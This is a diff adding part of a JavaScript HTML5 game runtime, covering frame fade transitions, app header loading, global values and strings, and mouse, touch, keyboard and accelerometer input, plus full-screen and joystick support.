+ this.transitionDisplay.height = this.gaCyWin;
+ var context = this.transitionDisplay.getContext("2d");
+ context.drawImage(pSf1, 0, 0);
+ this.transition = this.getTransitionManager().createTransition(pData, this.transitionDisplay, pSf1, pSf2);
+ if (this.transition != null)
+ {
+ this.appRunningState = CRunApp.SL_FRAMEFADEINLOOP;
+ return true;
+ }
+ }
+ this.transitionDisplay = null;
+ this.appRunningState = CRunApp.SL_FRAMELOOP;
+ this.run.createRemainingFrameObjects();
+ return false;
+ },
+
+ loopFrameFadeIn: function ()
+ {
+ if (this.transition != null)
+ {
+ if (this.transition.isCompleted())
+ {
+ return false;
+ }
+ this.transition.stepDraw(CTrans.TRFLAG_FADEIN);
+ return true;
+ }
+ return false;
+ },
+
+ endFrameFadeIn: function ()
+ {
+ if (this.transition != null)
+ {
+ this.transition.end();
+ this.transition = null;
+ this.transitionDisplay = null;
+ if (this.appRunningState == CRunApp.SL_FRAMEFADEINLOOP)
+ {
+ this.appRunningState = CRunApp.SL_FRAMELOOP;
+ }
+ this.run.createRemainingFrameObjects();
+ }
+ return true;
+ },
+
+ startFrameFadeOut: function ()
+ {
+ var pSf1 = null;
+ var pSf2 = null;
+ var pData = this.frame.fadeOut;
+
+ // V2 transitions
+ if (pData != null)
+ {
+ pSf1 = document.createElement("canvas");
+ pSf1.width = this.gaCxWin;
+ pSf1.height = this.gaCyWin;
+ pSf2 = document.createElement("canvas");
+ pSf2.width = this.gaCxWin;
+ pSf2.height = this.gaCyWin;
+ var renderer = new StandardRenderer(pSf1);
+ renderer.renderSolidColor(0, 0, this.gaCxWin, this.gaCyWin, this.frameColor);
+ this.mainSprite.draw(renderer, 0, 0);
+
+ renderer = new StandardRenderer(pSf2);
+ if ((pData.transFlags & CTransitionData.TRFLAG_COLOR) != 0)
+ renderer.renderSolidColor(0, 0, this.gaCxWin, this.gaCyWin, pData.transColor);
+ else
+ renderer.renderSolidColor(0, 0, this.gaCxWin, this.gaCyWin, 0x000000);
+
+ this.transitionDisplay = document.createElement("canvas");
+ this.transitionDisplay.width = this.gaCxWin;
+ this.transitionDisplay.height = this.gaCyWin;
+ var context = this.transitionDisplay.getContext("2d");
+ context.drawImage(pSf1, 0, 0);
+ this.transition = this.getTransitionManager().createTransition(pData, this.transitionDisplay, pSf1, pSf2);
+ if (this.transition != null)
+ {
+ this.appRunningState = CRunApp.SL_FRAMEFADEOUTLOOP;
+ return true;
+ }
+ }
+ this.transitionDisplay = null;
+ return false;
+ },
+
+ loopFrameFadeOut: function ()
+ {
+ if (this.transition != null)
+ {
+ if (this.transition.isCompleted())
+ {
+ this.endFrameFadeOut();
+ return false; // Stop
+ }
+ this.transition.stepDraw(CTrans.TRFLAG_FADEOUT);
+ }
+ return true;
+ },
+
+ endFrameFadeOut: function ()
+ {
+ if (this.transition != null)
+ {
+ this.transitionOldSurface = this.transition.source2;
+ this.transition.end();
+ this.transition = null;
+ this.transitionDisplay = null;
+ if (this.appRunningState == CRunApp.SL_FRAMEFADEOUTLOOP)
+ {
+ this.appRunningState = CRunApp.SL_ENDFRAME;
+ }
+ }
+ return true;
+ },
+
+ loadAppHeader: function ()
+ {
+ this.file.skipBytes(4);
+ this.gaFlags = this.file.readAShort();
+ this.gaNewFlags = this.file.readAShort();
+ this.gaMode = this.file.readAShort();
+ this.gaOtherFlags = this.file.readAShort();
+ this.gaCxWin = this.file.readAShort();
+ this.gaCyWin = this.file.readAShort();
+ this.gaScoreInit = this.file.readAInt();
+ this.gaLivesInit = this.file.readAInt();
+ var n, m;
+ this.pcCtrlType = new Array(CRunApp.MAX_PLAYER);
+ for (n = 0; n < CRunApp.MAX_PLAYER; n++)
+ this.pcCtrlType[n] = this.file.readAShort();
+ this.pcCtrlKeys = new Array(CRunApp.MAX_PLAYER * CRunApp.MAX_KEY);
+ for (n = 0; n < CRunApp.MAX_PLAYER; n++)
+ {
+ for (m = 0; m < CRunApp.MAX_KEY; m++)
+ {
+ this.pcCtrlKeys[n * CRunApp.MAX_KEY + m] = this.file.readAShort(); //CKeyConvert.getFlashKey(file.readAShort());
+ }
+ }
+ this.gaBorderColour = this.file.readAColor();
+ this.gaNbFrames = this.file.readAInt();
+ this.gaFrameRate = this.file.readAInt();
+ this.file.skipBytes(1);
+ this.file.skipBytes(3);
+ },
+
+ loadGlobalValues: function ()
+ {
+ this.nGlobalValuesInit = this.file.readAShort();
+ this.globalValuesInit = new Array(this.nGlobalValuesInit);
+ this.globalValuesInitTypes = new Array(this.nGlobalValuesInit);
+ var n;
+ for (n = 0; n < this.nGlobalValuesInit; n++)
+ this.globalValuesInit[n] = this.file.readAInt();
+ this.file.readBytesAsArray(this.globalValuesInitTypes);
+ },
+
+ loadGlobalStrings: function ()
+ {
+ this.nGlobalStringsInit = this.file.readAInt();
+ this.globalStringsInit = new Array(this.nGlobalStringsInit);
+ var n;
+ for (n = 0; n < this.nGlobalStringsInit; n++)
+ this.globalStringsInit[n] = this.file.readAString();
+ },
+
+ loadFrameHandles: function (size)
+ {
+ this.frameMaxHandle = (size / 2);
+ this.frameHandleToIndex = new Array(this.frameMaxHandle);
+
+ var n;
+ for (n = 0; n < this.frameMaxHandle; n++)
+ {
+ this.frameHandleToIndex[n] = this.file.readAShort();
+ }
+ },
+
+ HCellToNCell: function (hCell)
+ {
+ if (this.frameHandleToIndex == null || hCell == -1 || hCell >= this.frameMaxHandle)
+ {
+ return -1;
+ }
+ return this.frameHandleToIndex[hCell];
+ },
+
+ getGraphicFont: function (font)
+ {
+ if (this.graphicFonts)
+ {
+ var n;
+ for (n = 0; n < this.graphicFonts.size(); n++)
+ {
+ gFont = this.graphicFonts.get(n);
+ if (gFont.compareFont(font))
+ {
+ return gFont;
+ }
+ }
+ }
+ return font;
+ },
+
+ killGlobalData: function ()
+ {
+ this.adGO = null;
+ },
+
+ initGlobal: function ()
+ {
+ var n;
+
+ // Vies et score
+ if (this.parentApp == null || (this.parentApp != null && (this.parentOptions & CCCA.CCAF_SHARE_LIVES) == 0))
+ {
+ this.lives = new Array(CRunApp.MAX_PLAYER);
+ for (n = 0; n < CRunApp.MAX_PLAYER; n++)
+ {
+ this.lives[n] = this.gaLivesInit ^ 0xFFFFFFFF;
+ }
+ }
+ else
+ {
+ this.lives = null;
+ }
+ if (this.parentApp == null || (this.parentApp != null && (this.parentOptions & CCCA.CCAF_SHARE_SCORES) == 0))
+ {
+ this.scores = new Array(CRunApp.MAX_PLAYER);
+ for (n = 0; n < CRunApp.MAX_PLAYER; n++)
+ {
+ this.scores[n] = this.gaScoreInit ^ 0xFFFFFFFF;
+ }
+ }
+ else
+ {
+ this.scores = null;
+ }
+ this.playerNames = new Array(CRunApp.MAX_PLAYER);
+ for (n = 0; n < CRunApp.MAX_PLAYER; n++)
+ {
+ this.playerNames[n] = "";
+ }
+
+ // Global values
+ if (this.parentApp == null || (this.parentApp != null && (this.parentOptions & CCCA.CCAF_SHARE_GLOBALVALUES) == 0))
+ {
+ this.gValues = new Array(this.nGlobalValuesInit);
+ for (n = 0; n < this.nGlobalValuesInit; n++)
+ this.gValues[n] = this.globalValuesInit[n];
+ }
+ else
+ this.gValues = null;
+
+ // Global strings
+ if (this.parentApp == null || (this.parentApp != null && (this.parentOptions & CCCA.CCAF_SHARE_GLOBALVALUES) == 0))
+ {
+ this.gStrings = new Array(this.nGlobalStringsInit);
+ for (n = 0; n < this.nGlobalStringsInit; n++)
+ this.gStrings[n] = this.globalStringsInit[n];
+ }
+ else
+ this.gStrings = null;
+ },
+
+ getLives: function ()
+ {
+ var app = this;
+ while (app.lives == null)
+ app = this.parentApp;
+ return app.lives;
+ },
+ getScores: function ()
+ {
+ var app = this;
+ while (app.scores == null)
+ app = this.parentApp;
+ return app.scores;
+ },
+ getCtrlType: function ()
+ {
+ var app = this;
+ while (app.parentApp != null && (app.parentOptions & CCCA.CCAF_SHARE_PLAYERCTRLS) != 0)
+ app = app.parentApp;
+ return app.pcCtrlType;
+ },
+ getCtrlKeys: function ()
+ {
+ var app = this;
+ while (app.parentApp != null && (app.parentOptions & CCCA.CCAF_SHARE_PLAYERCTRLS) != 0)
+ app = app.parentApp;
+ return app.pcCtrlKeys;
+ },
+ getGlobalValues: function ()
+ {
+ var app = this;
+ while (app.gValues == null)
+ app = app.parentApp;
+ return app.gValues;
+ },
+ getNGlobalValues: function ()
+ {
+ if (this.gValues != null)
+ return gValues.length;
+ return 0;
+ },
+ getGlobalStrings: function ()
+ {
+ var app = this;
+ while (app.gStrings == null)
+ app = app.parentApp;
+ return app.gStrings;
+ },
+ getNGlobalStrings: function ()
+ {
+ if (this.gStrings != null)
+ return gStrings.length;
+ return 0;
+ },
+ checkGlobalValue: function (num)
+ {
+ var values = this.getGlobalValues();
+
+ if (num < 0 || num > 1000)
+ return null;
+ var oldSize = values.length;
+ if (num + 1 > oldSize)
+ {
+ var n;
+ for (n = oldSize; n < num + 1; n++)
+ values.push(0);
+ }
+ return values;
+ },
+ getGlobalValueAt: function (num)
+ {
+ var values = this.checkGlobalValue(num);
+ if (values != null)
+ return values[num];
+ return 0;
+ },
+ setGlobalValueAt: function (num, value)
+ {
+ var values = this.checkGlobalValue(num);
+ if (values != null)
+ values[num] = value;
+ },
+ addGlobalValueAt: function (num, value)
+ {
+ var values = this.checkGlobalValue(num);
+ if (values != null)
+ values[num] += value;
+ },
+ checkGlobalString: function (num)
+ {
+ var strings = this.getGlobalStrings();
+
+ if (num < 0 || num > 1000)
+ return null;
+ var oldSize = strings.length;
+ if (num + 1 > oldSize)
+ {
+ var n;
+ for (n = oldSize; n < num + 1; n++)
+ strings.push("");
+ }
+ return strings;
+ },
+ getGlobalStringAt: function (num)
+ {
+ var strings = this.checkGlobalString(num);
+ if (strings != null)
+ return strings[num];
+ return "";
+ },
+ setGlobalStringAt: function (num, value)
+ {
+ var strings = this.checkGlobalString(num);
+ if (strings != null)
+ strings[num] = value;
+ },
+
+ // Event handlers
+ // -----------------------------------------------------
+ doKeyPress: function (e)
+ {
+ if (e)
+ {
+ if (this.versionCode.charCodeAt(this.versionCodePos) == e.charCode)
+ {
+ this.versionCodePos++;
+ if (this.versionCodePos == this.versionCode.length)
+ {
+ this.versionCodeDisplay = 50 * 5;
+ this.versionCodePos = 0;
+ }
+ }
+ else
+ {
+ this.versionCodePos = 0;
+ }
+ }
+ },
+ doKeyDown: function (e)
+ {
+ if (e)
+ {
+ // Handles key events
+ var code = e.keyCode;
+ this.keyBuffer[code] = true;
+ this.keyNew = true;
+ if (this.run != null && this.run.rhEvtProg != null)
+ this.run.rhEvtProg.onKeyDown(code);
+ var n;
+ for (n = 0; n < this.subApps.length; n++)
+ this.subApps[n].doKeyDown(e);
+ }
+ },
+ doKeyUp: function (e)
+ {
+ if (e)
+ {
+ var code = e.keyCode;
+ this.keyBuffer[code] = false;
+ var n;
+ for (n = 0; n < this.subApps.length; n++)
+ this.subApps[n].doKeyUp(e);
+ }
+ },
+ getKeyState: function (code)
+ {
+ return this.keyBuffer[code];
+ },
+ setMouseOffsets: function (xOffset, yOffset)
+ {
+ this.xMouseOffset = xOffset;
+ this.yMouseOffset = yOffset;
+ },
+ mouseMove: function (e, obj, flag)
+ {
+ if (e.pageX)
+ {
+ this.mouseX = e.pageX;
+ this.mouseY = e.pageY;
+ }
+ else if (e.clientY)
+ {
+ this.mouseX = e.clientX + document.body.scrollLeft + document.documentElement.scrollLeft;
+ this.mouseY = e.clientY + document.body.scrollTop + document.documentElement.scrollTop;
+ }
+
+ var top = 0;
+ var left = 0;
+ var objParent = obj;
+ while (objParent && objParent.tagName != 'BODY')
+ {
+ top += objParent.offsetTop;
+ left += objParent.offsetLeft;
+ objParent = objParent.offsetParent;
+ }
+ this.bMouseIn = true;
+ this.mouseX -= left + this.xMouseOffset;
+ this.mouseY -= top + this.yMouseOffset;
+ this.mouseX = Math.floor(this.mouseX / this.scaleX);
+ this.mouseY = Math.floor(this.mouseY / this.scaleY);
+ if (this.run != null && this.run.rhEvtProg != null)
+ this.run.rhEvtProg.onMouseMove();
+
+ var n;
+ for (n = 0; n < this.subApps.length; n++)
+ this.subApps[n].mouseMove(e, obj);
+
+ if (!this.touchable && flag != 0x12345678)
+ this.touchMove(new CFakeTouch(e.pageX, e.pageY, this.canvas), false);
+ },
+ _mouseButtonFromEvent: function (event) {
+ if (event.which) {
+ switch (event.which) {
+ case 2:
+ return CRunApp.VK_MBUTTON;
+ break;
+ case 3:
+ return CRunApp.VK_RBUTTON;
+ break;
+ default:
+ return CRunApp.VK_LBUTTON;
+ break;
+ }
+ } else {
+ switch (event.button) {
+ case 2:
+ return CRunApp.VK_RBUTTON;
+ break;
+ case 4:
+ return CRunApp.VK_MBUTTON;
+ break;
+ default:
+ return CRunApp.VK_LBUTTON;
+ break;
+ }
+ }
+ },
+ mouseUp: function (e)
+ {
+ var code = this._mouseButtonFromEvent(e);
+ this.mouseMove(e, this.canvas, 0x12345678);
+ this.bMouseIn = true;
+ this.keyBuffer[code] = false;
+
+ var n;
+ for (n = 0; n < this.subApps.length; n++)
+ this.subApps[n].mouseUp(e);
+
+ if (!this.touchable)
+ this.touchEnd(new CFakeTouch(e.pageX, e.pageY, this.canvas), false);
+ },
+ mouseDown: function (e, pointerEvent)
+ {
+ var code = this._mouseButtonFromEvent(e);
+ this.mouseMove(e, this.canvas, 0x12345678);
+ this.bMouseIn = true;
+ this.keyNew = true;
+ this.keyBuffer[code] = true;
+
+ // Enable sounds in Chrome
+ this.enableSoundsInChrome();
+
+ //handle mouse button event
+ if (this.run != null && this.run.rhEvtProg != null) {
+ if (pointerEvent) {
+ //single or double click?
+ var now = Date.now();
+ var nClicks = (this.mouseDoubleClickTimestamp !== null && this.mouseDoubleClickCode == code && now - this.mouseDoubleClickTimestamp <= CRunApp.MOUSE_DOUBLE_CLICK_DELAY) ? 2 : 1;
+ this.mouseDoubleClickCode = code;
+ this.mouseDoubleClickTimestamp = now;
+ this.run.rhEvtProg.onMouseButton(code - CRunApp.VK_LBUTTON, nClicks);
+ }
+ else {
+
+ if (this.browserDetect.isIE) {
+ this.run.rhEvtProg.onMouseButton(code - CRunApp.VK_LBUTTON, 1);
+ }
+ else {
+ //single or double click, we check the number of "clicks" in quick repetition check for odd/even
+ //e.detail % 2 == 0 is double click!
+ this.run.rhEvtProg.onMouseButton(code - CRunApp.VK_LBUTTON, e.detail % 2 == 0 ? 2 : 1);
+ }
+ }
+ }
+
+ //pass to sub apps
+ var n;
+ for (n = 0; n < this.subApps.length; n++)
+ this.subApps[n].mouseDown(e, pointerEvent);
+
+ //handle touches
+ if (!this.touchable)
+ this.touchStart(new CFakeTouch(e.pageX, e.pageY, this.canvas), false);
+
+ // Build 289: give focus to window when user clicks
+ window.focus();
+ },
+ forceMouseButton: function (bDown)
+ {
+ this.keyBuffer[CRunApp.VK_LBUTTON] = bDown;
+ var n;
+ for (n = 0; n < this.subApps.length; n++)
+ this.subApps[n].forceMouseButton(bDown);
+ },
+ mouseOut: function (e)
+ {
+ this.bMouseIn = false;
+ this.keyBuffer[CRunApp.VK_LBUTTON] = false;
+ this.keyBuffer[CRunApp.VK_MBUTTON] = false;
+ this.keyBuffer[CRunApp.VK_RBUTTON] = false;
+ var n;
+ for (n = 0; n < this.subApps.length; n++)
+ this.subApps[n].mouseOut(e);
+ if (!this.touchable)
+ this.touchEnd(new CFakeTouch(e.pageX, e.pageY, this.canvas), false);
+ },
+ // For IE only
+ click: function (e)
+ {
+ if (this.browserDetect.isIE) {
+ //if (this.run != null && this.run.rhEvtProg != null)
+ // this.run.rhEvtProg.onMouseButton(0, 1);
+
+ // Handles clicks
+ var n;
+ for (n = 0; n < this.subApps.length; n++)
+ this.subApps[n].click(e);
+ }
+ },
+ // For IE only
+ dblClick: function (e)
+ {
+ if (this.browserDetect.isIE) {
+ if (this.run != null && this.run.rhEvtProg != null)
+ this.run.rhEvtProg.onMouseButton(0, 2);
+
+ var n;
+ for (n = 0; n < this.subApps.length; n++)
+ this.subApps[n].dblClick(e);
+ }
+ },
+ mouseWheel: function (e)
+ {
+ this.bMouseIn = true;
+ if ((typeof e.wheelDelta != 'undefined'))
+ this.deltaWheel = e.wheelDelta / 40;
+ else
+ this.deltaWheel = -e.detail;
+ if (this.run != null && this.run.rhEvtProg != null)
+ this.run.onMouseWheel(this.deltaWheel);
+ },
+
+ // Enable sounds in Chrome
+ enableSoundsInChrome: function ()
+ {
+ if (this.browserDetect.isChrome && this.soundContext != null && this.soundContext.state == 'suspended')
+ this.soundContext.resume();
+ },
+
+ touchStart: function (event, pointerEvent)
+ {
+ // Enable sounds in Chrome
+ this.enableSoundsInChrome();
+
+ // Enable sounds on iOS
+ if (!this.iOS && this.silentSound)
+ {
+ this.silentSound.playIt();
+ this.silentSound = null;
+ }
+
+ if (this.touchesID == null)
+ return;
+
+ var n, m;
+ var nTouches = (pointerEvent) ? 1 : event.changedTouches.length;
+ for (n = 0; n < nTouches; n++)
+ {
+ var touch;
+ if (pointerEvent) {
+ touch = event;
+ touch.identifier = event.pointerId;
+ } else {
+ touch = event.changedTouches[n];
+ }
+
+ for (m = 0; m < CRunApp.MAX_TOUCHES; m++)
+ {
+ if (this.touchesID[m] == CRunApp.TOUCHID_EMPTY)
+ {
+ this.touchesID[m] = touch.identifier;
+ this.bTouchesLocked[m] = false;
+
+ for (o = 0; o < this.touchCalls.size(); o++)
+ {
+ if (this.touchCalls.get(o).touchStarted(touch))
+ {
+ this.bTouchesLocked[m] = true;
+ this.touchesLocked[m] = o;
+ break;
+ }
+ }
+
+ if (!this.bTouchesLocked[m])
+ {
+ this.touchesX[m] = this.getTouchX(touch);
+ this.touchesY[m] = this.getTouchY(touch);
+ if (this.mouseTouch == CRunApp.TOUCHID_EMPTY && touch.identifier != CRunApp.FAKE_TOUCHIDENTIFIER)
+ {
+ this.mouseTouch = m;
+ this.mouseX = this.touchesX[m];
+ this.mouseY = this.touchesY[m];
+ this.bMouseIn = true;
+ this.keyNew = true;
+ this.keyBuffer[CRunApp.VK_LBUTTON] = true;
+ if (this.run != null && this.run.rhEvtProg != null)
+ this.run.rhEvtProg.onMouseButton(0, 1);
+ var p;
+ for (p = 0; p < this.subApps.length; p++)
+ this.subApps[p].touchStart(event, pointerEvent);
+ }
+ }
+ break;
+ }
+ }
+ }
+ },
+ touchMove: function (event, pointerEvent)
+ {
+ if (this.touchesID == null)
+ return;
+
+ var n, m, o;
+ var nTouches = (pointerEvent) ? 1 : event.changedTouches.length;
+ for (n = 0; n < nTouches; n++)
+ {
+ var touch;
+ if (pointerEvent) {
+ touch = event;
+ touch.identifier = event.pointerId;
+ } else {
+ touch = event.changedTouches[n];
+ }
+
+ for (m = 0; m < CRunApp.MAX_TOUCHES; m++)
+ {
+ if (this.touchesID[m] == touch.identifier)
+ {
+ if (this.bTouchesLocked[m])
+ {
+ this.touchCalls.get(this.touchesLocked[m]).touchMoved(touch);
+ }
+ else
+ {
+ for (o = 0; o < this.touchCalls.size(); o++)
+ this.touchCalls.get(o).touchMoved(touch);
+ this.touchesX[m] = this.getTouchX(touch);
+ this.touchesY[m] = this.getTouchY(touch);
+ }
+ if (this.mouseTouch == m)
+ {
+ this.mouseX = this.touchesX[m];
+ this.mouseY = this.touchesY[m];
+ if (this.run != null && this.run.rhEvtProg != null)
+ this.run.rhEvtProg.onMouseMove();
+ var p;
+ for (p = 0; p < this.subApps.length; p++)
+ this.subApps[p].touchMove(event, pointerEvent);
+ }
+ break;
+ }
+ }
+ }
+ },
+ touchEnd: function (event, pointerEvent)
+ {
+ // Enable sounds on iOS
+ if (this.iOS && this.silentSound) {
+ this.silentSound.playIt();
+ this.silentSound = null;
+ }
+
+ if (this.touchesID == null)
+ return;
+
+ var n, m, o;
+ var nTouches = (pointerEvent) ? 1 : event.changedTouches.length;
+ for (n = 0; n < nTouches; n++)
+ {
+ var touch;
+ if (pointerEvent) {
+ touch = event;
+ touch.identifier = event.pointerId;
+ } else {
+ touch = event.changedTouches[n];
+ }
+
+ for (m = 0; m < CRunApp.MAX_TOUCHES; m++)
+ {
+ if (this.touchesID[m] == touch.identifier)
+ {
+ this.touchesID[m] = CRunApp.TOUCHID_EMPTY;
+
+ if (this.bTouchesLocked[m])
+ {
+ this.touchCalls.get(this.touchesLocked[m]).touchEnded(touch);
+ }
+ else
+ {
+ for (o = 0; o < this.touchCalls.size(); o++)
+ this.touchCalls.get(o).touchEnded(touch);
+ this.touchesX[m] = this.getTouchX(touch);
+ this.touchesY[m] = this.getTouchY(touch);
+ }
+ if (m == this.mouseTouch)
+ {
+ this.mouseX = this.touchesX[m];
+ this.mouseY = this.touchesY[m];
+ this.mouseTouch = CRunApp.TOUCHID_EMPTY;
+ this.keyBuffer[CRunApp.VK_LBUTTON] = false;
+ var p;
+ for (p = 0; p < this.subApps.length; p++)
+ this.subApps[p].touchEnd(event, pointerEvent);
+ }
+ }
+ }
+ }
+ },
+
+ getTouchX: function (touch)
+ {
+ var x = touch.pageX;
+ var objParent = touch.target;
+ while (objParent && objParent.tagName != 'BODY')
+ {
+ x -= objParent.offsetLeft;
+ objParent = objParent.offsetParent;
+ }
+ return Math.floor((x - this.xMouseOffset) / this.scaleX);
+ },
+
+ getTouchY: function (touch)
+ {
+ var y = touch.pageY;
+ var objParent = touch.target;
+ while (objParent && objParent.tagName != 'BODY')
+ {
+ y -= objParent.offsetTop;
+ objParent = objParent.offsetParent;
+ }
+ return Math.floor((y - this.yMouseOffset) / this.scaleY);
+ },
+
+ addTouchCall: function (object)
+ {
+ this.touchCalls.add(object);
+ },
+
+ removeTouchCall: function (object)
+ {
+ this.touchCalls.removeObject(object);
+ },
+
+ // Embedded files
+ // ----------------
+ getEmbeddedFile: function (path)
+ {
+ if (this.embeddedFiles != null)
+ {
+ var n;
+ var pos = path.lastIndexOf("\\");
+ if (pos < 0)
+ pos = path.lastIndexOf('/');
+ if (pos >= 0)
+ path = path.substring(pos + 1);
+
+ for (n = 0; n < this.embeddedFiles.length; n++)
+ {
+ if (this.embeddedFiles[n].path == path)
+ {
+ return this.embeddedFiles[n];
+ }
+ }
+ }
+ return null;
+ },
+
+ showCursor: function (count)
+ {
+ this.cursorCount = count;
+ if (this.cursorCount >= 0)
+ this.canvas.style.cursor = this.cursor;
+ else
+ this.canvas.style.cursor = "none";
+ },
+
+
+ // Full screen
+ // ----------------------------------
+ enterFullScreen: function ()
+ {
+ if (this.canvas["requestFullScreen"])
+ this.canvas["requestFullScreen"]();
+ else if (this.canvas["webkitRequestFullScreen"])
+ this.canvas["webkitRequestFullScreen"](Element.ALLOW_KEYBOARD_INPUT);
+ else if (this.canvas["mozRequestFullScreen"])
+ this.canvas["mozRequestFullScreen"]();
+ },
+
+ exitFullScreen: function ()
+ {
+ this.gaFlags &= ~CRunApp.GA_STRETCH;
+ if (document.cancelFullScreen)
+ document.cancelFullScreen();
+ else if (document.webkitCancelFullScreen)
+ document.webkitCancelFullScreen();
+ else if (document.mozCancelFullScreen)
+ document.mozCancelFullScreen();
+ },
+
+ startJoystick: function (type, flags)
+ {
+ if (this.joystick == null)
+ {
+ this.joystick = new CJoystick(this);
+ this.joystick.loadImages();
+ this.joystick.reset(flags);
+ this.joystickOn = 1;
+ if (this.touchCalls.indexOf(this.joystick) < 0)
+ {
+ this.touchCalls.add(this.joystick);
+ }
+ }
+ },
+ startAccJoystick: function ()
+ {
+ this.startAccelerometer();
+ this.joystickOn = 2;
+ },
+ endJoystick: function ()
+ {
+ if (this.joystick != null)
+ {
+ if (this.joystickOn == 1)
+ {
+ this.touchCalls.removeObject(this.joystick);
+ }
+ this.joystick = null;
+ }
+ if (this.joystickOn == 2)
+ this.endAccelerometer();
+ this.joystickOn = 0;
+ },
+ startAccelerometer: function () {
+ if (this.accelerometer == 0) {
+ var that = this;
+ if (window.DeviceMotionEvent) {
+ this.accelerometerHandler = this._handleOnDeviceMotion.bind(this);
+ window.addEventListener("devicemotion", this.accelerometerHandler);
+ }
+ }
+ this.accelerometer++;
+ },
+ _handleOnDeviceMotion: function (event) {
+ var ax = event.acceleration.x / 9.780318;
+ var ay = event.acceleration.y / 9.780318;
+ var az = event.acceleration.z / 9.780318;
+ var agx = event.accelerationIncludingGravity.x / 9.780318;
+ var agy = event.accelerationIncludingGravity.y / 9.780318;
+ var agz = event.accelerationIncludingGravity.z / 9.780318;
+
+ this.accX = ax;
+ this.accY = ay;
+ this.accZ = az;
+ this.accGravX = agx;
+ this.accGravY = agy;
+ this.accGravZ = agz;
+
+ // Adjust this to device rotation
+ switch (window.orientation) {
+ case 0: // portrait
+ this.accX = -ax;
+ this.accY = ay;
+ this.accGravX = -agx;
+ this.accGravY = agy;
+ break;
+ case 90: // landscape
+ this.accX = ay;
+ this.accY = ax;
+ this.accGravX = agy;
+ this.accGravY = agx;
+ break;
+ case 180: // portrait flipped
+ this.accX = ax;
+ this.accY = -ay;
+ this.accGravX = agx;
+ this.accGravY = -agy;
+ break;
+ case -90: // landscape flipped
+ this.accX = -ay;
+ this.accY = -ax;
+ this.accGravX = -agy;
+ this.accGravY = -agx;
+ break;
+ }
+
+ if (this.iOS) {
+ this.accX = -this.accX;
+ this.accY = -this.accY;
+ this.accGravX = -this.accGravX;
+ this.accGravY = -this.accGravY;
+ }
+
+ },
+ endAccelerometer: function () {
+ this.accelerometer--;
+ if (this.accelerometer <= 0) {
+ //__scope.ondevicemotion = null;
+ if (window.DeviceMotionEvent) {
+ window.removeEventListener("devicemotion", this.accelerometerHandler);
+ }
+ this.accelerometer = 0;
+ }
+ },
+ getJoystick: function ()
+ {
+ var joystick = 0;
+ if (this.accGravX < -0.2)
+ joystick |= 0x04;
+ if (this.accGravX > 0.2)
+ joystick |= 0x08;
+ if (this.accGravY < -0.2)
+ joystick |= 0x01;
+ if (this.accGravY > 0.2)
+ joystick |= 0x02;
+ return joystick;
+ },
+
+ // Draws the "Touch screen to continue" line for preloaders
+ drawContinue: function (preloader)
+ {
+ if (preloader.touchMe)
+ {
+ if (this.silentSound == null)
+ preloader.touchMePhase = 2;
+
+ switch (preloader.touchMePhase)
+ {
+ case 0:
+ if (preloader.touchMeAlpha > 0)
+ {
+ preloader.touchMeAlpha -= 2;
+ if (preloader.touchMeAlpha < 0)
+ {
+ preloader.touchMeAlpha = 0;
+ phase++;
+ }
+ }
+ break;
+ case 1:
+ break;
+ case 2:
+ if (preloader.touchMeAlpha < 128)
+ {
+ preloader.touchMeAlpha += 4;
+ if (preloader.touchMeAlpha >= 128)
+ {
+ preloader.touchMeAlpha = 128;
+ preloader.touchMeQuit = true;
+ }
+ }
+ break;
+ }
+ this.context.renderSolidColor(preloader.touchMeRect.left, preloader.touchMeRect.top, preloader.touchMeRect.right - preloader.touchMeRect.left, preloader.touchMeRect.bottom - preloader.touchMeRect.top, this.frameColor, 0, 0);
+ preloader.touchMe.draw(this.context, preloader.touchMeRect.left, preloader.touchMeRect.top, CRSpr.BOP_BLEND, preloader.touchMeAlpha);
+ if (preloader.touchMeQuit)
+ {
+ preloader.touchMe = null;
+ preloader.touchMeRect = null;
+ preloader.touchMeFont = null;
+ }
+ }
+ else
+ {
+ preloader.touchMeQuit = true;
+ if (this.silentSound != null && (this.dwOptions & CRunApp.AH2OPT_LOADSOUNDSONTOUCH) != 0 )
+ {
+ preloader.touchMeFont = new CFont();
+ preloader.touchMeFont.createDefaultFont();
+ preloader.touchMeFont.lfHeight = 24;
+ var height = preloader.touchMeFont.lfHeight + 6;
+ preloader.touchMe = new CTextSurface(this, 120, height);
+ var width = preloader.touchMe.measureText(this.m_touchMe, preloader.touchMeFont) + 64
+ preloader.touchMe.resize(width, height);
+ preloader.touchMe.manualClear();
+ preloader.touchMe.manualDrawText(this.m_touchMe, CServices.DT_VCENTER | CServices.DT_CENTER, null, 0xFFFF00, preloader.touchMeFont, 2, 0x000000);
+ preloader.touchMeRect = new CRect();
+ preloader.touchMeRect.left = this.gaCxWin / 2 - width / 2;
+ preloader.touchMeRect.top = this.gaCyWin / 2 - height / 2;
+ preloader.touchMeRect.right = preloader.touchMeRect.left + width;
+ preloader.touchMeRect.bottom = preloader.touchMeRect.top + height;
+ preloader.touchMeAlpha = 128;
+ preloader.touchMePhase = 0;
+ preloader.touchMeQuit = false;
+
+ this.context.renderSolidColor(0, 0, this.gaCxWin, this.gaCyWin, this.frameColor, 0, 0);
+ }
+ }
+ return preloader.touchMeQuit;
+ }
+ }
+
+ function CFakeTouch(x, y, t)
+ {
+ this.changedTouches = new Array(1);
+ this.changedTouches[0] = {pageX: x, pageY: y, target: t, identifier: CRunApp.FAKE_TOUCHIDENTIFIER};
+ }
+
+ // CRunFrame object
+ // ----------------------------------------------------------------
+ CRunFrame.LEF_DISPLAYNAME = 0x0001;
+ CRunFrame.LEF_GRABDESKTOP = 0x0002;
+ CRunFrame.LEF_KEEPDISPLAY = 0x0004;
+ CRunFrame.LEF_TOTALCOLMASK = 0x0020;
+ CRunFrame.LEF_RESIZEATSTART = 0x0100;
+ CRunFrame.LEF_NOSURFACE = 0x0800;
+ CRunFrame.LEF_TIMEDMVTS = 0x8000;
+ CRunFrame.LEF_TRANSPARENTBKD = 0x20000;
+ CRunFrame.CM_TEST_OBSTACLE = 0;
+ CRunFrame.CM_TEST_PLATFORM = 1;
+ CRunFrame.CM_OBSTACLE = 0x0001;
+ CRunFrame.CM_PLATFORM = 0x0002;
+ CRunFrame.HEIGHT_PLATFORM = 6;
+ CRunFrame.HTML5FOPT_DISPLAYPRELOADER = 0x0100;
+ CRunFrame.IPHONEOPT_JOYSTICK_FIRE1 = 0x0001;
+ CRunFrame.IPHONEOPT_JOYSTICK_FIRE2 = 0x0002;
+ CRunFrame.IPHONEOPT_JOYSTICK_LEFTHAND = 0x0004;
